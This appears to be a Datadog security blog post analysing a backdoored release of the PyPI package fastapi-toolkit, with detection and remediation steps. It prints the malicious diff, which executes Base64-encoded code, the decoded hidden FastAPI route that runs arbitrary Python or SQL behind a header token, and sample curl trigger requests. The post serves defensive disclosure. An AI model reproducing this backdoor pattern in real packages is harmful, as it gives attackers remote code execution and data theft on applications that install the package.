Movatterモバイル変換


[0]ホーム

URL:


emerging threats and vulnerabilities

Investigating a backdoored PyPi package targeting FastAPI applications

November 23, 2022

Investigating A Backdoored Pypi Package Targeting Fastapi Applications
Vladimir de Turckheim

Vladimir de Turckheim

Staff Engineer, Application Security Monitoring

Christophe Tafani-Dereeper

Christophe Tafani-Dereeper

Cloud Security Researcher and Advocate

LAST UPDATED

Introduction

FastAPI is a highly popular Python web framework. On November 23rd, 2022, the Datadog Security Labs team identified a third-party utility Python package on PyPI related to FastAPI,fastapi-toolkit, that has been backdoored by a malicious actor. The attacker inserted a backdoor in the package, adding a FastAPI route allowing a remote attacker to execute arbitrary python code and SQL queries in the context of the web application.

While FastAPI itself isnot impacted, this is an interesting occurrence of an attacker attempting to deploy a FastAPI-specific backdoor.

Key points and observations

  • fastapi-toolkit was first published on PyPi on March 21, 2022. There likely was no malicious intent with the initial and subsequent versions of the package.
  • On November 23, 2022, at 07:33 UTC, a malicious commit with a backdoor (2cd2223) was pushed to the GitHub repository. Shortly after, at 07:35 UTC, the malicious version of the package was uploaded to PyPI.
  • We identified this malicious package on November 23 using our latest open source tool,GuardDog, which uses heuristics to identify malicious or compromised PyPI packages.
  • We reported the malicious PyPI package to the PyPI team, as well as the malicious GitHub commit to GitHub.

Discovery and analysis

We recently releasedGuardDog, a free and open-source tool to identify malicious PyPI packages. We use it to identify, analyze, and help take down malicious packages.

On November 23, we identified that the packagefastapi-toolkit was likely malicious.

Scanning fastapi-toolkit with GuardDog

Upon investigation, we determined thatfastapi-toolkit used to be a legitimate package. At 7:33 UTC on November 23, a backdoor was introduced through commit2cd2223.

The malicious commit

In addition to bumping the package version from 0.0.26 to 0.0.27, the new code dynamically executes Base64-encoded code whenever the package is used.

commit 2cd2223dcd90fa9d9c72851427602aa0e179e061Author: Tima <tima@fitspire.app>Date:   Wed Nov 23 15:33:52 2022 +0800   Bugfixdiff --git a/VERSION b/VERSIONindex c4475d3..24ff855 100644--- a/VERSION+++ b/VERSION@@ -1 +1 @@-0.0.26+0.0.27diff --git a/fastapi_toolkit/application.py b/fastapi_toolkit/application.pyindex 002f50d..4107914 100755--- a/fastapi_toolkit/application.py+++ b/fastapi_toolkit/application.py@@ -1,3 +1,4 @@+import base64from datetime import datetimefrom fastapi import (@@ -15,6 +16,7 @@ __all__ = (    'app',)+from fastapi_toolkit.constants import stringfrom fastapi_toolkit.schemas.application_info import ApplicationInfo@@ -50,6 +52,8 @@ def application_info():    }+exec(base64.b64decode(string))+app = FastAPI(    title=settings.project,    default_response_class=ORJSONResponsediff --git a/fastapi_toolkit/constants.py b/fastapi_toolkit/constants.pynew file mode 100644index 0000000..c01e0f4--- /dev/null+++ b/fastapi_toolkit/constants.py@@ -0,0 +1 @@+string = 'Cgpmcm9tIGZhc3RhcGkgaW1wb3<SNIP>'

Decoding the Base64-encoded code shows that the backdoor adds a FastAPI HTTP route that allows the attacker to execute arbitrary Python code or SQL queries whenever the application receives an HTTP request with a specific header.

@debug_router.post('/', include_in_schema=True)asyncdef_debug(        request: Request,        token:str= Header(..., alias='x-token'),        code:str= Header(..., alias='x-code')):if hashlib.md5(token.encode()).hexdigest()!='81637589c86b297088d076a57af43f91':raise HTTPException(status_code=404, headers={'x-token':'wrong'})    method={'python': __run_python,'sql': __run_sql,}.get(code, __run_noop)try:returnawait method((await request.body()).decode())except Exception:import tracebackreturn traceback.format_exc()

The functions__run_python and__run_sql execute arbitrary Python code and an arbitrary SQL query, respectively, provided in the HTTP POST request body.

asyncdef__run_python(body:str):returnexec(body)
asyncdef__run_sql(body:str):import asyncpg    conn=await asyncpg.connect(settings.database_dsn.replace('+asyncpg',''))ifnot body.lower().startswith('select'):        result=await conn.execute(body)await conn.close()return result    rows=await conn.fetch(body)    rows=[dict(row)for rowin rows]await conn.close()ifnot rows:return'noop'    stream= io.StringIO()    writer= csv.DictWriter(stream, fieldnames=rows[0].keys())    writer.writeheader()    writer.writerows(rows)    response= StreamingResponse(iter([stream.getvalue()]), media_type="text/csv")    response.headers["Content-Disposition"]="attachment; filename=export.csv"return response

Once an attacker has compromised an application, they can trigger the backdoor by sending an HTTP request similar to:

# To execute Python codecurl-X POST https://example.com/-H"x-code: python"-H"x-token: <secret-value>" -d'print("Hello world")'# To execute an SQL querycurl-X POST https://example.com/-H"x-code: sql"-H"x-token: <secret-value>" -d'SHOW TABLES;'

Root cause and response

It is possible the original developer of the package had their account compromised and used by a malicious actor. We promptly warned them of the issue so they could take necessary actions on their side, such as resetting their GitHub and PyPI credentials. It is also possible that the user knowingly uploaded a backdoor.

We also promptly reported the malicious package to the PyPI team to ensure it gets taken down.

At the time of writing, this package was the only one published by the developer's account on PyPI, and their GitHub account did not have any other recent commit. We can make sure of that by using the GitHub API to identify recent events of the account:

curl-s-H"Accept: application/vnd.github+json"\-H"Authorization: Bearer$GH_API_TOKEN"\  https://api.github.com/users/<redacted>/events/public
[{"id":"25421621538","type":"PushEvent","actor":{"id":3973878,"login":"<redacted>","display_login":"<redacted>","gravatar_id":"","url":"https://api.github.com/users/<redacted>","avatar_url":"<redacted>"},"repo":{"id":470137325,"name":"<redacted>/fastapi_toolkit","url":"https://api.github.com/repos/<redacted>/fastapi_toolkit"},"payload":{"push_id":11758712136,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"2cd2223dcd90fa9d9c72851427602aa0e179e061","before":"cfb459920ec91789f33e294007bf5da3384ab784","commits":[{"sha":"2cd2223dcd90fa9d9c72851427602aa0e179e061","author":{"email":"tima@fitspire.app","name":"Tima"},"message":"Bugfix","distinct":true,"url":"https://api.github.com/repos/<redacted>/fastapi_toolkit/commits/2cd2223dcd90fa9d9c72851427602aa0e179e061"}]},"public":true,"created_at":"2022-11-23T07:33:59Z"},    ...]

How to know if you're affected

To determine if you’re impacted, you first need to identify if the packagefastapi-toolkit in version 0.0.27 is present on your system. To do so, you can run the command:

pip list|grep fastapi-toolkit

If the package is available on the system or in the current virtual environment, the output will look like:

fastapi-toolkit0.0.27

This will tell you the current version offastapi-toolkit—in this case, it is 0.0.27, the backdoored version.

What to do if you're affected

If your application is running thefastapi-toolkit package, we recommend you consider it compromised and take the following steps:

  • Remove thefastapi-toolkit dependency.
  • Review your web server logs to identify if an attacker has triggered the backdoor through aPOST request to/.
  • If you are monitoring process activity, review any instance ofpython spawning child processes, as this could indicate usage of the backdoor.

How Datadog can help

Datadog ASM Vulnerability Monitoring,announced earlier this year at Dash, allows you to identify vulnerable and malicious packages used by your applications at runtime. It is currently in private beta. You can request access to the private betahere.

In addition, DatadogCloud Workload Security has a number of out-of-the-box rules to detect post exploitation scenarios, includingInteractive shell spawned in container.

Conclusion

In this post, we analyzed a package that was leveraged to insert a backdoor specific to FastAPI.

You can download the full source code of the malicious package onour GitHub repository.

Updates made to this entry

November 24, 2022Adapted the language to reflect the fact that the package maintainer's account may not have been compromised, but be malicious nonetheless.

November 24, 2022Clarified in the introduction that the FastAPI main package itself is not affected.

Did you find this article helpful?

Subscribe to the Datadog Security Digest

Get the latest insights from the cloud security community and Security Labs posts, delivered to your inbox monthly. No spam.

Thank you for subscribing!

Related Content

Datadog threat roundup: top insights for Q4 2024

emerging threats and vulnerabilities

Datadog threat roundup: top insights for Q4 2024

Datadog threat roundup: Top insights for Q1 2025

emerging threats and vulnerabilities

Datadog threat roundup: Top insights for Q1 2025

A guide to threat hunting and monitoring in Snowflake

emerging threats and vulnerabilities

A guide to threat hunting and monitoring in Snowflake

Attackers deploying new tactics in campaign targeting exposed Docker APIs

emerging threats and vulnerabilities

Attackers deploying new tactics in campaign targeting exposed Docker APIs

work with us

We're always looking for talented people to collaborate with

featured positions

We have22 positions

view all

[8]ページ先頭

©2009-2025 Movatter.jp